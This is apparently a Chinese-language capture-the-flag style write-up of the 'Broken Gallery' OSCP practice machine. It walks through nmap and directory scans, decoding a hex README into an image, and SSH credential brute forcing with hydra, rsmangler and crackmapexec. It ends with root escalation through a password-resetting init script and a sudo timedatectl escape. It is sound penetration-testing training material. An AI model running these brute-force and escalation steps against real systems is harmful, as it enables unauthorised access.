OSCP-005-Broken
Broken Gallery
主机发现
| netdiscover -r 192.168.174.0/24 | 
获得目标ip:192.168.174.176
端口,服务扫描
| nmap -A -p- 192.168.174.176 | 
得到22和80端口开放
下面还有另一种方法,首先通过namp生成扫描结果的文件
| nmap -sT -p- --min-rate 1000 192.168.174.167 -oA ./Broken_galley | 
生成报告后,用awk去找,算是练习把
| cat Broken_galley.nmap | grep "open" | awk -F '/' '{print $1}' | paste -sd ',' | 
| nmap -sT -sC -sV -p 22,80 192.168.174.176 -oA ./detail | 

这种带目录的扫描比较好看
访问服务


有一些图片,和一个readme文件,下载下来是一串16进制的字节码

通过xxd还原成二进制文件
| xxd -r -ps README.md > README.bin | 
- -r选项用于将十六进制格式转换回二进制格式
- -p表示输出纯粹的十六进制编码,而不包括其他信息
- -s选项用于跳过文件的前N个字节
通过strings来读二进制文件,通过head来读取前几行内容来确定文件类型
| strings README.bin | head -n 10 | 

可以看到jfif头,说明这个文件是图片文件,更改为jpg后缀并打开
| mv README.bin README.jpg | 

应用程序是坏的的,基础设施是坏的。。。没什么思路
目录扫描
| dirb http://192.168.174.167 | 

没什么收获,估计要从图片出发,这里也提供另一种方法
gobuster
| gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -u http://192.168.10.111/ -x txt,rar,zip,tar,sql,php | 
内容会更全一点,但在这里也没什么返回,后台挂着,gobuster还可以扫别的内容

图片隐写
| xdg-open img_forest.jpg 查看图片的命令 | 
| strings *.jpg | less | 
没什么内容
再用exiftool来看看其他图片,没有发现有隐藏的信息
| exiftool *.jpg | 

也有另一种方法看
| steghide extract -sf img_5terre.jpg | 

也没什么内容,只能从爆破ssh去测试了
爆破SSH
看看文件名有啥提示
| ls | grep .jpg | sed s/\.jpg// | 

推测应该是密码或用户名,用这个来生成一个wordlist
| ls | grep .jpg | sed s/\.jpg// > wordlist | 
接下来用hydra爆破测试
| hydra -L wordlist -P wordlist 192.168.174.176 ssh | 
失败,去掉前缀试试
| cat wordlist | sed s/img_// > wordlist2 | 

再把broken和galley加上
| echo -e "broken\ngalley" >> wordlist2 | 
然后利用rsmangler工具,它首先将对所述输入字和生成的所有排列和字样的缩写(为了它们出现在文件中)完成的各种操作之前它适用的其余部分
https://zing.gitbooks.io/kali-lunix/content/09x/9x29_RSMangler.html
| rsmangler -m 6 -x 8 -r -d -e -i --punctuation -y -a -C --pna --nb --space --allow-duplicates -f wordlist2 -o mangled | 

然后进行爆破
| hydra -L wordlist2 -P mangled 192.168.174.176 ssh | 

也可以从另一种思路出发,根据图片手动生成字典
| 5terre | 
通过crackmapexec进行SSH爆破
| #--continue-on-success:表示成功获得凭据后继续爆破 | 

获得账号密码
| broken:broken | 
登陆
| ssh broken@192.168.174.176 | 
查看可以用户环境
| sudo -l | 

提权
首先查看历史命令,看看线索

发现有个密码策略文件,尝试寻找一下这个文件
| ls -lah | 

得到路径/etc/init.d/pasword-policy.sh
| cat /etc/init.d/password-policy.sh | 
| !/bin/bash | 
这段脚本是一个简单的 Bash 脚本,用于检查当前是星期几,并在星期四时更改 root 用户的密码。下面是脚本的逐行解释:
- #!/bin/bash:这是一个 shebang 行,告诉系统这个脚本应该使用哪个解释器来执行,这里是 Bash。
- DAYOFWEEK=$(date +"%u"):这行命令使用- date命令获取当前的星期数(星期一为 1,星期日为 7),并将其存储在变量- DAYOFWEEK中。
- echo DAYOFWEEK: $DAYOFWEEK:这行打印出当前的星期数。
- if [ "$DAYOFWEEK" -eq 4 ]:这是一个条件语句,检查- DAYOFWEEK是否等于 4(星期四)。
- then:如果条件为真(即当前是星期四),则执行下面的命令。
- sudo sh -c 'echo root:TodayIsAgoodDay | chpasswd':这行命令使用- sudo以超级用户权限执行- sh -c,然后通过管道将- echo命令的输出传递给- chpasswd命令,从而更改 root 用户的密码为 “TodayIsAgoodDay”。
- fi:结束 if 语句。
注释掉的 #if [ "$DAYOFWEEK" == 4 ] 行是另一种写法,使用 == 进行字符串比较,但由于 DAYOFWEEK 是一个数字,所以应该使用 -eq 来进行数值比较。
为了测试,我们改成周一的版本,我们先通过下面的方法改一下脚本,再来reboot
| date +"%u" | 

| cat /etc/init.d/password-policy.sh | 
| !/bin/bash | 
| sudo reboot | 

| ssh root@192.168.174.176 | 
记得用broken连上再su root

timedatectl提权

前面我们看到broken用户还可以执行timedatectl命令
通过gtfobins:https://gtfobins.github.io/ 来查看对应的提权方法

| sudo timedatectl list-timezones | 

